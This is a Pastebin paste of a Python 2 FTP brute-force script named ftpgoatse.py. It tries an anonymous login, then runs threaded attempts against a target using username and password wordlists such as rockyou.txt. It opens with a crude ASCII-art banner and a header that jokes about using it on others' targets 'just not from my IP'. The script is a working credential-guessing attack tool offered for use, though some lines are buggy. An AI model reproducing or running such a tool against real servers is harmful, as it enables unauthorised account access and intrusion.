Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- ####################################################################
- # By: @Akeyla420 w/ google-fu
- # This code is for educational purposes, GNU or someshit.
- # Please don't use example target, or do, idgaf, just not from my IP
- # ##################################################################
- import ftplib
- import sys
- from threading import Thread
- import argparse
- RED="\x1B[31;40m"
- WHITE="\x1B[0m"
- YELLOW="\x1B[33;40m"
- print " ____ ____ ____"
- print " ( ___)(_ _)( _ \\"
- print " )__) )( )___/"
- print " (__) (__) (__)"
- print " ___ _____ __ ____ ___ ____"
- print " / __)( " + RED + " _" + WHITE + " ) /" + RED + "__" + WHITE + "\ (_ _)/ __)( ___)"
- print " ( (_-. )" + RED + "(_)" + WHITE + "( /" + RED + "(__)" + WHITE + "\ )( \__ \ )__)"
- print " \___/(_____)(__)(__)(__) (___/(____)"
- print ""
- print ""
- print " / \ \ / \\"
- print " | | \ | |"
- print " | `. | | :"
- print " ` | | \| |"
- print " \ | / / \\\\\\ --__ \\\\ :"
- print " \ \/ _--~~ ~--__| \ |"
- print " \ \_-~ ~-_\ |"
- print " \_ \ _.--------.______\| |"
- print " \ \______/" + RED + "/ _ ___ _" + WHITE + " (_(__> \ |"
- print " \ . C ___) " + RED + " ______" + WHITE + " (_(____> | /"
- print " /\ | C ____)" + RED + "/ \\" + WHITE + " (_____> |_/"
- print " / /\| C_____)" + YELLOW + " FTP " + RED + " |" + WHITE + " (___> / \\"
- print " | ( _C_____)" + RED + "\______/ /" + WHITE + "/ _/ / \\"
- print " | \ |__ \\" + RED + "\\_________/" + WHITE + "/ (__/ |"
- print " | \ \____) `---- --' |"
- print " | \_ ___\ /_ _/ |"
- print " | / | | \ |"
- print " | | / \ \ |"
- print " | / / | | \ |"
- print " | / / \__/\___/ | |"
- print " | / | | | |"
- print " | | | | | |"
- print ""
- print ""
- parser = argparse.ArgumentParser(description='ftpgoatse.py')
- parser.add_argument(dest="target", action="store", help="attack target")
- parser.add_argument(dest="userlist", action="store", help="userlist.txt")
- parser.add_argument(dest="wordlist", action="store", help="rockyou.txt")
- parser.add_argument('--threads', dest="threads", action="store", help="number of threads, default 1", default=1, type=int)
- args = parser.parse_args()
- threadcounter = 0
- loginfound = 0
- threadlist = []
- class goatse(Thread):
- def __init__(self, hostname, username, password):
- Thread.__init__(self)
- self.hostname = hostname
- self.username = username
- self.password = password
- def run(self):
- global loginfound
- try:
- ftp = ftplib.FTP(self.hostname)
- ftp.login(self.username, self.password)
- ftp.retrlines('list')
- ftp.quit()
- print "Goat Hole Found!!!"
- print "User = " + self.username + ", Password = " + self.password
- loginfound = 1
- except Exception, e:
- print "Failed: User = " + self.username + ", Password = " + self.password
- print "Searching for the gaping hole..."
- print "Attempting anonymous login to " + args.target
- try:
- ftp = ftplib.FTP(sys.target)
- ftp.login("anonymous", "anonymous")
- ftp.retrlines('list')
- ftp.quit()
- print "Anonymous login successful!"
- print "User = anonymous, password = anonymous"
- quit()
- except Exception, e:
- print "Anonymous login unsuccessful"
- users = open(args.userlist, 'r')
- for user in users:
- passwords = open(args.wordlist, 'r')
- for password in passwords:
- thread = goatse(args.target.rstrip(), user.rstrip(), password.rstrip())
- thread.start()
- threadlist.append(thread)
- threadcounter += 1
- if threadcounter == args.threads:
- for t in threadlist:
- t.join()
- if loginfound == 1:
- exit(0)
- threadcount = 0
- 1,1 To
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement